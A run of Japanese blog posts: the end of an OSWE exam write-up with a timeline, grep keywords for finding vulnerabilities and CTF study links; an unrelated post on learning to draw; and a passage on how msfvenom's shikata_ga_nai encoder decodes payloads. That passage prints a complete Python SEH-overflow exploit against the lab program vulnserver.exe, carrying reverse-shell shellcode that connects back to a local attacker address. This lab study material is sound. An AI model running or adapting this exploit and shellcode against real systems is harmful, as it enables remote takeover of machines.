3つ目のRCE(AuthBypass)を探す。うまく行かなければ次のやつにチェンジ。 3/30 02:30 4つ目のRCE(AuthBypass)を探す。うまく行かなければ次のやつにチェンジ。 3/30 04:30 ここまでで85以上あれば合格!まだ足りてなくても何とかなる!その場合は今から寝ずに粘る!。粘り1 3/30 06:30 粘り2 3/30 08:30 粘り3 3/30 10:30 粘り4。あと1時間15分 3/30 11:45 ここで終了
試験の現実
日程 | 内容 |
---|---|
3/28 11:30 | 試験開始30分前なのでVM起動して机の前に待機してリラックスしてました |
3/28 11:45 | 監督用ツールにログインして試験監督とパスポート見せたり部屋見せたりの事前準備 |
3/28 12:00 | 試験開始 |
3/28 14:08 | 一つ目のAuthentication bypass特定 |
3/28 16:32 | 一つ目のRCEゲット |
3/28 18:15 | いろいろわかってなくててこずったけどPoC完成 |
3/28 20:30 | ごはん食べる |
3/28 22:05 | 二つ目のAuthentication bypassゲット |
3/29 01:28 | 二つ目のRCEもゲット |
3/29 03:31 | 二つ目のPoC完成。100点ゲット。あとはレポートだけ。いったん寝る |
3/29 10:00 | 起床してレポート書き始める |
3/30 04:00 | レポート書き終わって何回も確認してOKそうだったので提出。ここで試験も自主終了 |
試験の感想とアドバイス?
結局15時間で100点分ゲットしてかなり余裕のある試験となりました。二日目はずっとだらだらレポート書いてました。
難易度的には他の方と同じ意見で、そんなに難しくはなかったです。基本的にはPDFで学んだことが試験に出るのでOSCPみたいに何が出るかわからないって感じではないです。というかOSCP24時間って改めて思うとおかしいですね。36時間くらいあっていいのではって思います笑。PDFのExcercise, Extra Miles, Labマシンはすべて完了することを強くお勧めします。
コースの内容的にはOSCPよりも難しいですが、PDFを理解できてるなら試験は問題ないと思います。
アドバイスとしては、最終的に一つのPythonスクリプトを実行するだけでAuthentication bypassとRCEしてReverse shellが降ってくるようにする必要があるのですが、ローカルのKaliでは動作してるけど試験で与えられる予備のKali VMでは動かないみたいなことが起こりうるので基本的には予備のKali VMでPoCを実行するといいと思います。自分はローカルで127.0.0.1の8080のプロキシを経由するようにスクリプトを作成してBurpでデバッグできるように書いてたんですがそれを予備のKali上で実行すると動かなくてあぶねーとなりました。
あとはAnarkhさんの試験に対する取り組み方が非常に参考になりました!ガチのがちがちで参考になりました!試験では性質上Authentication bypassの後にRCEができるのでそれを考慮すると脆弱性がありえる箇所はかなり絞れます。自分が試験10日前くらいにこの受験記を読んだのでタイミングがめちゃくちゃよかったです。
https://tento.hatenablog.com/entry/2021/03/11/061921
自分は試験レポートは最終的に77ページとなりました。OSCPの時同様Wordで書きましたが、正直めちゃくちゃやりづらかったです。他の方が言ってるMarkdownで書いたものをPDFに変換するツールでやればよかったなって思いました。
あといきなり試験レポート書く前に、ラボマシンの一つで試しにレポート書く練習をしました。
OSCPの時は試験前はめちゃくちゃ緊張してましたが今回は2回目なのであんまり緊張することなく受けることができました。自分は10日前に試験を予約しましたが結構ガラガラでした。
試験中はOSCPの時同様ボカロ・アニソンメドレーを聴いてました。画面共有してるので画面に映るたびに気まずかったです。
自分は事前に作成していたチートシート通りの手順でチェックしていってたので脆弱性を特定するまではほぼ作業って感じでした。 脆弱性発見が試験の一番難しい部分ですが、特定さえしてしまえばExploitはできるので落ち着いて作業すれば大丈夫だと思います。
脆弱性発見手法(我流)
BlackboxとWhiteboxの両方の観点でメモしていきます。
Blackbox
- loginが必要なページとそうでないページの確認。
- Burp Suiteのリクエスト内容を確認。
- loginページ、Password forgotページ、SQLを実行してるっぽいページの確認
Whitebox
watch -n1 -d 'find /tmp /usr /var /etc /home /opt -mmin -5 2> /dev/null'
logファイルの更新とかファイルをアップロードしたときにどこにアップロードされるかを監視できるコマンド。
5分前までに更新されたファイルを2秒おきにチェックします。結構便利だけどコースでは特に触れられてません。自分はいいと思います。find . -name '*.sql' *.ini .htaccess *.sh
初期設定とかDBのクレデンシャルとかが書かれてるファイルがあるかもなので一応チェック。- DataBaseらへん
DBにアクセスするユーザーの権限によってできることがわかる。
PostgreSQLのバージョンによってできるExploitが違う。
DBのクレデンシャル情報を特定してログインして、テーブル名とかその中身とかを確認。ユーザー当たりのテーブルは特に要チェック - サーバーまわり
PHPならバージョン確認(TypeJugglingはバージョンによって挙動が違う)
Javaならweb.xmlとかの設定ファイル読む。
.env
ファイルとか読む。
webrootの場所を確認、書き込み権限の確認(FileUpload)
ロギングの設定とかPHPのerror出力とかを設定する。 - loginまわり
loginまわりのコードを読めばそのアプリでのコードの雰囲気が大体わかる気がするのでまずここから毎回調べました(試験でも)。
まずブラウザからログインページにアクセスして、適当にユーザーとパスワードを送信してみて、そのリクエストをBurpでチェックして、/login
とかusername=aaa&password=aaa
とかのキーワードをチェックして/login
,username
,password
とかで検索してどのファイルでログイン処理されてるのか特定する。
そこで、送信したリクエストパラメータをどうやって取り出してるのか($_REQUEST[]
,requestParameter()
,requestParams[]
とか)をチェックする。
そこで取り出した値をどういう風に使ってSQLを実行してるのかチェック。
ここら辺をまずチェックしておけば、ルーティング、リクエストパラメータの扱い、DataBase周辺を理解できるのでその後のコードレビューがはかどる気がします。grepキーワード
- SQL Injection
query
,select.*from
,select.*request.*parameter
,update
,insert
,sql
,doGet[\s\S]*?select.*?\+
- Password Reset
reset
,token
,key
,(reset|change)pass(word|wd)
- XXE
xml
,parse
,(SAXParserFactory|DOM4J|XMLInputFactory|TransformerFactory|javax.xml\.validation\.Validator|SchemaFactory|SAXTransformerFactory|XMLReader|XMLStreamReader|SAXBuilder|SAXReader|javax.xml\.bind\.Unmarshaller|XPathExpression|DOMSource|DocumentBuilder|StAXSource)
,simplexml_load_string
,loadXML
,simplexml
- Weak Random
java.util.Random
,new Random(
- XSS
document.write
- SSTI
.render
,template
,(smarty|twig|velocity|freemarker|eval|mako|jinja|tornado|jade|pug|nunjucks|dot|dust|marko|ejs)
,render_template_string
,render_template
- File Upload
upload
,request\..*upload
,path
,file
,request\..*filename
,FileOutputStream
,.getFileName()
,move_uploaded_file
,\$_FILES\[
,tmp_name
,extract
,zip
,extension
,str_replace
- Eval (Command) Injection
eval(
- Deserialize
deser
,readObject(
,Type.GetType(
,xmlSerializer
,(readExternal|readUnshared|XStream)
,pickle.loads(
,unserialize
参考資料
OSWEはOSCPと違って勉強方法がよくわからんくてやりづらいと思うのでもし何やればいいか何もわからん人は以下の資料を読むといいと思います。
基本は自分が確認した過去CTFの問題名とか解説記事、常設のリンクを載せてます。
他にもhackerOneのレポートはコードレビューの練習にいいと思います。
whiteboxについての資料
https://pentesterlab.com/exercises/codereview/course
https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
https://github.com/softwaresecured/secure-code-review-checklist
https://alex-labs.com/my-awae-review-becoming-an-oswe/
https://stacktrac3.co/oswe-review-awae-course/
grepベースの脆弱性発見
https://littlemaninmyhead.wordpress.com/2019/08/04/dont-underestimate-grep-based-code-scanning/
https://github.com/dustyfresh/PHP-vulnerability-audit-cheatsheet
https://github.com/wireghoul/graudit
https://find-sec-bugs.github.io/bugs_ja.htm
SQL Injection
PostgreSQLらへん
https://pentesterlab.com/exercises/from_sqli_to_shell_pg_edition/course
https://afinepl.medium.com/postgresql-code-execution-udf-revisited-3b08412f47c1
https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html
https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5文字列制限フィルタのバイパス
SECCON CTF 2019 予選 web_searchBlind Injection
SECCON beginners CTF 2020 Tweetstore
CryptixCTF'19 Writeup - Pure Magic
Pragyan CTF Animal attack
TJCTF 2020 Weak Password
ksnctf Login 6(常設)
wargame.kr dbms335(常設)
hacker101 CTF Photo Gallery(常設)
hacker101 CTF Micro-CMS v2(常設)
https://github.com/TROUBLE-1/White-box-pentestingUnion query
HackPack CTF 2020 Online Birthday Party
Securinets Prequals CTF 2019 – SQL Injected
SECCON Beginners CTF 2019 Ramen
picoCTF 2019 Empire1(常設)login bypass
Houseplant CTF 2020 I don’t like needles
TJCTF 2020 Login Sequel
picoCTF 2019 Irish-Name-Repo 1(常設)
picoCTF 2019 Irish-Name-Repo 2(常設)
picoCTF 2019 Irish-Name-Repo 3(常設)- その他
LORD OF SQL INJECTIONというサイトがかなり網羅されていて良いです。
https://los.rubiya.kr/
Directry Traversal
InterKosenCTF 2020 miniblog(Docker環境有り)
SSTI
jinja2
ISC BugHunt101 CTF 2020 BuggyBase2(Docker環境有り)
BSidesSF CTF 2017 Zumbo(Docker環境有り)
ASIS_CTF 2017 Golem
Asis CTF Quals 2019
HacktivityConCTF 2020 Template Shack
TokyowesternsCTF 2018 Shrine(Docker環境有り)
HackIT CTF 2018 Believer Caseその他 以下の脆弱なアプリがDockerでいろいろなSSTIを試せて良い!
https://github.com/DiogoMRSilva/websitesVulnerableToSSTI/blob/master/README.md
https://github.com/epinna/tplmap
XSS
CTFでのXSSはCSPバイパスとかが主でXSS自体は簡単に見つかることが多いので、そういうやつは省略してますm(__)m
HackerOne CTF:Micro-CMS v1(常設)
Intigriti's December XSS Challenge 2020
以下のXSSまとめみたいな常設が良い。
http://bogus.jp/xsssample/
http://xss-quiz.int21h.jp/
https://domgo.at/cxss/example
XSS Challenge(セキュリティ・ミニキャンプ in 岡山 2018)(ただもう動いてなさそう…)
https://www.pentesteracademy.com/course?id=11
Deserialize
Java
https://blog.jamesotten.com/post/applications-manager-rce/
https://medium.com/abn-amro-red-team/java-deserialization-from-discovery-to-reverse-shell-on-limited-environments-2e7b4e14fbef
TAMUCTF2020 Too_Many_Credits
trendmicro-ctf-2018 misc-300
https://www.sourceclear.com/vulnerability-database/security/remote-code-execution-through-object-deserialization/java/sid-1710/technical
https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/.NET
https://ivan1ee.gitbook.io/-netdeserialize/fan-xu-lie-hua-lou-dong-xi-lie/1xmlserializer-fan-xu-lie-hua-lou-dong
https://paper.seebug.org/365/
https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdfPython
https://frichetten.com/blog/escalating-deserialization-attacks-python/
XXE
ASIS CTF Quals 2020 Treasury #1 #2
SHARKY CTF 2020 XXEXTERNALXX
FireShell CTF 2019 - Bad Injections
BsidesSF CTF 2019 - svgmagick
Nuit du Hack CTF Quals 2017 No Pain No Gain
Securinets CTF Quals 2019 Feedback
HamaCTF xmlvalidator
VolgaCTF-quals Shop quest
Command Injection
- Node.js
https://artsploit.blogspot.com/2016/08/pprce2.html
EverSec CTF – BSides Raleigh 2017
[Vulnhub] Temple of Doom: 1
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
Moonraker:1 Vulnhub
HackTheBox - CelestialTypeJuggling
https://medium.com/@Q2hpY2tlblB3bnk/php-type-juggling-c34a10630b10
Bo1lers bootcamp CTF 2020 Next Gen NetworkingFile Upload
https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf
http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html
HackTheBox
HTBは基本的にBlackboxなのであんまりOSWEとは違うかなとは思いますが、Exploitを自分で書く練習としては良いかなと思います。
falafel
help
holiday
unattended
zipper
Celestial
以下のリンクにOSWEライクなマシンがまとまっています。BlackboxですがExploitの練習には使えると思います。
https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#
最後に
最後まで読んでいただいてありがとうございます!
以前は脆弱性発見とかなんか難しそうで自分にはかなり先の話しそうだな…と思ってたんですが、OSWEの勉強をすることでそこら辺の必要な知識とかが明確になっていって驚きました。OSCPはTryHarderって感じの資格ですが、OSWEはそれよりKeepTryingって感じな気がします。慣れてるか慣れてないかの世界なのでやり続ければいずれ必ず到達できる資格だと思います。
自分のような初心者に向けて、脆弱性発見とかCVE取得への道の参考になれば幸いです!
なにかわからないこととか不明な点があればTwitterのDMで相談に乗ります!
お絵描き勉強記録
この記事は、Kyoto University Advent Calendar
adventar.org
の5日目の記事です。
自己紹介
こんにちは!電気電子工学科3回生の高林です!普段はセキュリティの勉強をやっています。
最近はぺネトレの勉強にハマってHackTheBoxをやってます。
ですが今回はセキュリティとかのIT系の技術のことじゃなくてお絵描きのことを描こうと思います。
今までお絵描きをやってる的なことはほとんど言ったことないし絵も見せたことないので意外かもしれないですが、実は絵描いてます。
最近の絵
いきなりですが、最近描いた絵はこんな感じです。
武器持ってる女の子(オリジナル)のイラストが一番直近で2020 11/20~12/3の期間で描いてます。
1つ目の初音ミクのイラストがPixivのイラストルーキーランキングの285位にランキング入りしました!!!!ヤッタゼ!!!
今までPixivでランキングにのることを当面の目標としていたので結構嬉しかったです!
次の目標は全体のデイリーランキングに載ることですかね…??
Pixivは以下です!
絵師としての活動歴
僕が絵を描き始めたのは大学入学してからです。なので1回生から今まで合計2年半くらい経ってます。 ですが、2回生の春以降、セキュリテイキャンプ2019全国大会に応募したことをきっかけにセキュリティに軸足を置くようにして以降、絵を描くことはほとんどなくなっていき、そのあとの2019夏のロボコン、2020春ごろにとったOSCPらへんは一切絵からは離れていました。なので結局絵を描いてる期間は1年半の空白期間を除けば大体ちょうど1年になります。
ですが、2020の夏休みからお絵描きを再開することにしました。そこからお絵描きを継続して今に至っています。
絵の変遷
絵は結構描いてるのですが、わかりやすくするために初音ミクのイラストを比較したいと思います。
なお、ここから自分の絵について今考えてることを書きますが別にこれが正解というわけではないです。1年後に見たら「これ実は全然違う!ここが大事!」みたいに思うであろうなので!
2020 9/18
良い点
- ポーズとしては顔の近くに手を持ってくることで顔付近に視線誘導している。
- 大体全身描くことで空間がわかりやすい。左手を腰に当てることで体と左腕の間に隙間ができて、それが空間演出の補助になっている。
- 髪のツインテールを多めに書くことで情報量をあげている。
- キャラの感情がわかりやすい(笑っている)。
- 「可愛い」をコンセプトとしており、それがわかるようなポーズ、表情になっている。
改善点
- 影の色が濁っている。このときはまだ[乗算]という合成モードを知らなくて、影とかほぼすべてを通常モードで描いている。 肌の影には暖色の赤系の色、髪や服の影には寒色の青系の色を乗算モードで乗せることで色の濁りを解消できるし深みも増す。
- 顔がそもそも可愛くない。この時は顔の描き方特に決めてなくて毎回適当に描いてた。ある程度はちゃんと決めるべき。
- 目が濁ってる。まつ毛が太すぎ。
- 服の情報量が少なすぎる。スカート(プリーツ)やネクタイはもっとはためかせると情報量や動きがでるし、影ももっと参考資料を用意して描きこむべき。
- 背景が謎。可愛い系を演出するための背景になっていない。キャラを描いてから背景描いたからテキトーでいいやってなってしまった。
2020 10/11
良い点
- 顔の描き方をかなり変えて、違う日に描いても大体おなじ顔が描けるようになった。
- 髪の塗りもまあまあうまくいっている。綺麗な感じに塗れている。
- 目の色の濁りも解消された。
- 肌も暖色系の影を乗算することで、それっぽい雰囲気になった。
改善点
- ポーズが意味不明。どういう感情でキャラがいるのかわかりにくい。
- シチュエーション、コンセプトがふわふわしていて、「とりあえず水着描いておこう」という絵になってる。背景も無なので、ここに海が軽く描かれているだけでも一気に雰囲気は出たはず。
- 水着の描きこみが少ない。もっとリボンやフリルを付ければ情報量が増して良くなるはず。参考資料もっといろいろ見るべき。
- 肌の露出多すぎ。Pixivでセンシティブ判定食らってしまった。意図通りなら別にいいけどそういう意図は全くなかったので次は気を付けよう。
- 肌の塗りは改善されてるが、まだ書き込みが足りてない。そもそもこういう肌の露出の多いイラストはうまく見せるのはかなり難しい。人体は人が普段見慣れているのでその分デッサンの狂いに気づきやすいため相当ムズイ。でもこれ描いたときはまだそれに気づいておらず、「服無いほうが楽でしょ!」と思っていた。
- 線画が大きすぎるし色も薄い。この時は[濃い水彩]ブラシのサイズ10を使って描いていたが、これだと絵がしまらない。次からは[Gペン]のサイズ5を使うことにした。(今もそうしてる)
- 自分の目指しているような神絵と比べて、全体的に情報量が少なすぎる。次からは「とにかく情報量を増やすべし!」と意識して描くようになった(今もそう)。
2020 11/11
良い点
- 「情報量の多くする」というポリシーのもと、細部まで頑張って描いたので良くなっている。
- 目はうまいこといっている。目には輝きを増やすために[焼きこみ]モードで彩度の強い水色を追加した。落ち着いた雰囲気というかクール系を表現するために目のハイライトは控えめにしている。
- 髪の塗りはここから[これだけで塗る筆]に変えた。その結果厚みが増した気がする。また、頭の手前と奥の髪で明暗比をいつもの8割増しにいれた。こうすることで深度が上がってより立体感が表現できる。奥のツインテールには空気遠近法で背景に近い色をエアブラシでなじませた。
- 全体的な色のバランス的に、黒がメインカラー、水色がサブカラー、ピンク色がアクセントカラーになっており、色彩の定石通りとなっている。黒とピンクの組み合わせが初音ミクの髪飾りと同じため統一感もでた。ここから初音ミクというキャラがいかに洗練されたデザインをしているかがわかる。
- 服の塗りも影や質感まで意識して描いたのでまあまあ良くなったと思う。
- 肌はほぼ見えていないが、目の近くのピンク色によって顔への視線誘導になっている。また、ガスマスク的なやつを描くことで顔の情報量が格段に上がったので良くなっている。この絵が良くなった一番の原因だと思う。
- 全体的にサイバーパンク(人体と機械の融合)をテーマにして書いており、テーマがはっきりしていてわかりやすい。
改善点
- ポーズとサイバー感(かっこいい感じ)がミスマッチな気がする。少なくてもかっこいいポーズではない気がする。これは当初はカッコイイポーズを描こうと頑張ったけど、デッサン力が足りずに妥協してしまった。構図の勉強するべし。
- 情報量がまだ足りてない!まだまだ足りてない!!!そもそも腰より上のアップのイラストにする必要がない。足まで描けば情報量も増えるし空間も表現できるのに。こうしなかったのは腰以下のデッサンがうまく行かなかったからです…。本来は全身描いたうえで左手には重火器とか機械とか持たせて、キャラの横にはカッコイイバイクとか車くらいの情報量を描かないといけないはず。そこまでしなくても、少なくとも上半身アップのイラストにしては描きこみが足りず情報量が少ない。
- この絵を通じて何を伝えたいのかわからない。シチュエーションが設定されていない。背景に綺麗な建物なり夜景なり廃墟なりがあればよかったのでは。
とまあ、大体こんな感じのことを考えながら普段お絵描きしてます。多分いろいろ間違ってたりするけどまあヨシ!
武器少女のイラスト解説
このイラストは最後の初音ミクの次に描いた絵で情報量を増やすことにとにかく注意しました。
せっかくなのでこのイラストを描いた工程をメモ代わりに残しておきます。
大ラフ(構想)
まず「武器を持った女の子で、動きを表現したかっこいいイラストを描くぞ!」とテーマを決めます。
その次にやることはお絵描き!!………ではなくて参考資料集めです。とにかく自分の描きたい絵を想像しながら武器をもってる女の子をイラストをPixivで見まくります。今回は大体500枚くらいのイラストを参考資料として保存して、大体の構成を決めました。この作業に数日費やすこともありますが、めちゃくちゃ大事なのでやります(後で刀の細部ってどうなってんの?みたいなことになって調べだすと萎えるのであらかじめ調べておきます。)
これが大体の素体です。「だいたいこんなポーズしてたらかっこいいのでは???」とか考えて描きました。
この時点では顔とか髪はどうでもいいので超テキトーに書きます。デッサンの狂いも基本的に無視で、”どういうポーズを描くのか”をとにかく決めちゃいます。修正は後回しです。
次はカラーラフ…が普通なんですが、今回は難しい構図なのでその前にいったんテキトーでいいので”何を描くのか”のラフを作ることにしました。
それが以下です。
はい、全然可愛くないですね。デッサンも狂いまくりです。この時点では”刀を使う女子高生”を描こうかなと思ってたのですが、これだと情報量が少なくなると思ったので服装を変更しました。
それが以下です。
黒のコートのはためき+着物(?)のはためき+マフラーのはためき、でかなり動きを表す情報量が増えた気がします。
背景は逆光にすることにします(その方が映えるので)。あと、前景(手前の物体。あると空間を表現できる)として砕かれたガラスを配置します。女の子が刀で手前のガラスを粉砕してる的な感じです。
カラーラフ
ここまで来たらやっとカラーラフです。カラーラフでは細部の描きこみをどうするか、デッサンの狂いなどの修正を行います。
まずは(ラフの)線画です。
顔とか髪とか服の装飾を修正・追加しました。
これだけだと、まだデッサンの狂いが残っているかもしれないのでこれに色を載せます。
ここで色も大体決めちゃいました。今回はカッコイイ系のイラストなので寒色(青)成分多めにすることにしました。
あとは、背景の追加です。
逆光がいい感じになってます!
これでデッサンを微調整したあと遂に清書をします!
清書線画
線画を清書しました。自分は目だけは線画は書かないことにしてます。ここではわかりやすいため目の清書の塗りも表示してます。
この工程はほとんどカラーラフを線画を綺麗にGペンで描く作業です。なのですが、今回は手前の刀のデッサンがかなりくるっていたのでここで修正しました。これはあんまりよくないです…。
清書
線画をもとにキャラの塗りも清書しました。この段階はとにかく集めまくった参考資料を参考に情報量を追加していって絵の説得力を増やします。
こんな感じで背景+エフェクトも清書します。
かなり良くなりました!!!
良さみを増す
これで完成!!!!………と思いきやまだです。
この絵、一応当初の想定通りに描いたはず…なんですが、なんか物足りない。その原因をあれこれ考えます。
まず全体的に色合いが暗い印象です。「逆光にすれば明るくなるやろ!!」と思ってたんですが服や髪などのベース色がそもそも暗めだったので思ったより明るくならず、黒く沈んでしまっています。
じゃあどうすんじゃいって感じなんですが、ここで集めまくった参考資料を見直して考えます。
その結果、「エフェクトに炎を付け足せば画面も明るくなるし、照り返しで服も明るくなるのでは??」と思いつきました。確かに鬼滅の刃で炭次郎のヒノカミカグラは色鮮やかで超カッコよかったですもんね!(は?)
これで完成です!確かに色鮮やかになって見栄えが良くなった気がします!炎の色は紫色にしました(赤だと主張が強すぎたので)。
以上が今回のイラストが完成するまでの大まかな流れでした!
正直無駄な作業や微妙なことをしてることもあるかと思いますが、そこは許してください。初心者なので…。
お絵描きの勉強について
以下、個人的な意見です!これくらいの絵を描くために自分が大事だなと思ったことについて書きます。
絵の上達のコツみたいなのはいろいろあると思いますが、自分が一番いいと思うのはYoutubeのお絵描き初心者向け講座やメイキング動画、お絵描き添削動画を見ることです。
お絵描きって描けば描くほどいいように見えて実はそうじゃなかったりします。重要な概念(明度、彩度、明暗対比、補色対比、透視図法、乗算・加算・スクリーン等の合成モード、画角、アイレベル、消失点、構図、空気遠近法などなど)を知っているか知らないかで絵は180度変わります。これを本で学ぶのもいいですが、初心者の自分にはハードルがなかなか高かったのでわかりやすい動画で勉強してます。
自分は以下の方の動画を見まくってます!超わかりやすいです!!!!!
クリスタの基本的な機能や様々なテクニック、お絵描きに対する考え方などを紹介されていて超参考になります!!!
じぶんはさいとうなおきさんのYoutubeをTwitterで教えてもらって動画を見るようになってからめちゃくちゃ成長できた気がします!!!
あとは、クリスタ(ClipStudioPaint)のAssetsにある便利素材もめちゃくちゃ大事な気がします。小技っぽいですがこういう知識があると、「ここはあの素材のブラシでこうしよ~」みたいな着想にもつながるので良いです!自分は素材をダウンロードしまくっています!
自分はこんな感じで勉強してるんですが、正直こういうやり方はしんどいです。自分の絵と神絵師の神絵を比較して改善点を探すのは良いことなんですがその絶望的な差がメンタルに来ることも結構あります。なんなら常にそうなってます。
なので、自分はこういう勉強をしているけどほかの人もこうすべき、と言うつもりはありません。お絵描きは本人が楽しくないとそもそも意味がないのでそこらへんを大事にしつつ、勉強もちょっと頑張る…くらいの意気込みがいいような気がしますね!
最後に
ここまで読んでくださってありがとうございます!
こんな感じで自分はお絵描きしてます。趣味程度に絵を描いてるつもりですが絵の勉強はまあまあガチめにやってます。神絵師になるぞ!!!
もちろんセキュリティの勉強もやるぞ!!!!
次の6日目はzekeさんです!
msfvenomで作成したpayloadのデコード動作を追う
概要
HackTheBoxやVulnhubに取り組む際にmsfvenom
コマンドでReverseShellPayloadを作成してExploitを実行することは多いが、msfvenom
によって作成されるペイロードはshikataga_nai
というエンコーダーによってエンコードされている。
今まではあんまりそのことを深く考えなくても動けばいいや的に考えていたが、さすがにそうもいかなくなってきた(自分が満足できなくなってきた)ので改めてエンコード・デコードの詳細を理解したいと思います。
encodeされたPayloadのdecodeの仕組み
まず、エンコードされたペイロードにはそれをデコードして元の意味のあるPayloadに直す部分が付いている。
decodeする前 | decodeする処理 | <- ここはdecodeするための命令が書かれている。 | ~ | ReverseShellとは直接は関係ない | decodeする処理 | | 意味不明な命令 | <- ここから下はencodeされており、 | 意味不明な命令 | 今のままでは意味のない命令が書き込まれている | 意味不明な命令 | | 意味不明な命令 | | 意味不明な命令 | decodeした後 | decodeする処理 | | ~ | | decodeする処理 | | ReverseShellの動作 | <- 意味不明な命令を"xor"などでdecodeすることで | ReverseShellの動作 | 意味のある命令に! | ReverseShellの動作 | decodeした後はこの命令を実行していく! | ReverseShellの動作 |
msfvenomでReverseShellPayloadを作成すると基本的に上のようなエンコードされたPayloadが作成される。(defaultでshikata_ga_naiを使用する)
ここで、
「これEncodeする意味あんの?直接ReverseShellのshellcodeぶち込めばいいやん」
という疑問がわいてくるが、これでは上手く動作しないことが多い。
例えば、Buffer Overflowでは何らかの入力に対して過剰な量を送り付けてスタックにPayloadをのせるが、大抵"\x00"(NULL bytes)を文字列の入力の終端としてとらえるため、この"\x00"以降の入力がスタックに載せられなくなってしまう。
つまり、Payloadに"\x00"が存在すると、完全なPayloadをスタックに積めなくなってしまう。これは"\x0a","\x0d"などの改行文字にも当てはまる(場合がある)。
よって、そのような"含まれてはいけない文字"を特定して、その文字抜きでPayloadを構成する必要がある。
事前準備
今回は、SEH overflowの脆弱性のあるプログラムを悪用する場合を考える。(今回の焦点はSEH overflowではないので知らなくても全然大丈夫です)
対象はWindows7(32bit)で動作しているvulnserver.exe
payloadにはmsfvenomで作成したものを使う。以下、使用するexploit code
import sys import socket host = "192.168.56.6" port = 9999 badheader = "GMON /" baddata = b"\x90" * 2773 #start payload baddata += "\x90"*16 # sudo msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST=192.168.56.5 -b "\x00\x0a\x0d" -f py --var-name baddata baddata += b"\xd9\xc1\xd9\x74\x24\xf4\xbe\xcf\x6f\x35\xbb\x58" baddata += b"\x31\xc9\xb1\x52\x31\x70\x17\x03\x70\x17\x83\x0f" baddata += b"\x6b\xd7\x4e\x73\x9c\x95\xb1\x8b\x5d\xfa\x38\x6e" baddata += b"\x6c\x3a\x5e\xfb\xdf\x8a\x14\xa9\xd3\x61\x78\x59" baddata += b"\x67\x07\x55\x6e\xc0\xa2\x83\x41\xd1\x9f\xf0\xc0" baddata += b"\x51\xe2\x24\x22\x6b\x2d\x39\x23\xac\x50\xb0\x71" baddata += b"\x65\x1e\x67\x65\x02\x6a\xb4\x0e\x58\x7a\xbc\xf3" baddata += b"\x29\x7d\xed\xa2\x22\x24\x2d\x45\xe6\x5c\x64\x5d" baddata += b"\xeb\x59\x3e\xd6\xdf\x16\xc1\x3e\x2e\xd6\x6e\x7f" baddata += b"\x9e\x25\x6e\xb8\x19\xd6\x05\xb0\x59\x6b\x1e\x07" baddata += b"\x23\xb7\xab\x93\x83\x3c\x0b\x7f\x35\x90\xca\xf4" baddata += b"\x39\x5d\x98\x52\x5e\x60\x4d\xe9\x5a\xe9\x70\x3d" baddata += b"\xeb\xa9\x56\x99\xb7\x6a\xf6\xb8\x1d\xdc\x07\xda" baddata += b"\xfd\x81\xad\x91\x10\xd5\xdf\xf8\x7c\x1a\xd2\x02" baddata += b"\x7d\x34\x65\x71\x4f\x9b\xdd\x1d\xe3\x54\xf8\xda" baddata += b"\x04\x4f\xbc\x74\xfb\x70\xbd\x5d\x38\x24\xed\xf5" baddata += b"\xe9\x45\x66\x05\x15\x90\x29\x55\xb9\x4b\x8a\x05" baddata += b"\x79\x3c\x62\x4f\x76\x63\x92\x70\x5c\x0c\x39\x8b" baddata += b"\x37\xf3\x16\xab\xc2\x9b\x64\xcb\xdd\x07\xe0\x2d" baddata += b"\xb7\xa7\xa4\xe6\x20\x51\xed\x7c\xd0\x9e\x3b\xf9" baddata += b"\xd2\x15\xc8\xfe\x9d\xdd\xa5\xec\x4a\x2e\xf0\x4e" baddata += b"\xdc\x31\x2e\xe6\x82\xa0\xb5\xf6\xcd\xd8\x61\xa1" baddata += b"\x9a\x2f\x78\x27\x37\x09\xd2\x55\xca\xcf\x1d\xdd" baddata += b"\x11\x2c\xa3\xdc\xd4\x08\x87\xce\x20\x90\x83\xba" baddata += b"\xfc\xc7\x5d\x14\xbb\xb1\x2f\xce\x15\x6d\xe6\x86" baddata += b"\xe0\x5d\x39\xd0\xec\x8b\xcf\x3c\x5c\x62\x96\x43" baddata += b"\x51\xe2\x1e\x3c\x8f\x92\xe1\x97\x0b\xa2\xab\xb5" baddata += b"\x3a\x2b\x72\x2c\x7f\x36\x85\x9b\xbc\x4f\x06\x29" baddata += b"\x3d\xb4\x16\x58\x38\xf0\x90\xb1\x30\x69\x75\xb5" baddata += b"\xe7\x8a\x5c" baddata += "\x90"*(3518 - len(baddata)) baddata += "\xeb\x0f\x90\x90" baddata += "\xb4\x10\x50\x62" baddata += "\x59\xfe\xcd\xfe\xcd\xfe\xcd\xff\xe1\xe8\xf2\xff\xff\xff" baddata += "D"*(4000-len(baddata)) print("Sending payload....") s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect = s.connect((host,port)) s.send(badheader + baddata) s.close()
Payload実行直前
以下のようになんやかんやして自分の用意したReverseShellPayloadに実行位置を制御できたとする。以下では、0x0171fceb
からPayloadが始まる。
以下ではこの時のレジスタの状況である。
ここで重要なのはesp
である。ここがeipと同じ0x0171fceb
(またはその近く)を指している場合、あとで面倒なことになる。
Decodeするとこ
ここで、Decodeする処理の部分は以下である。
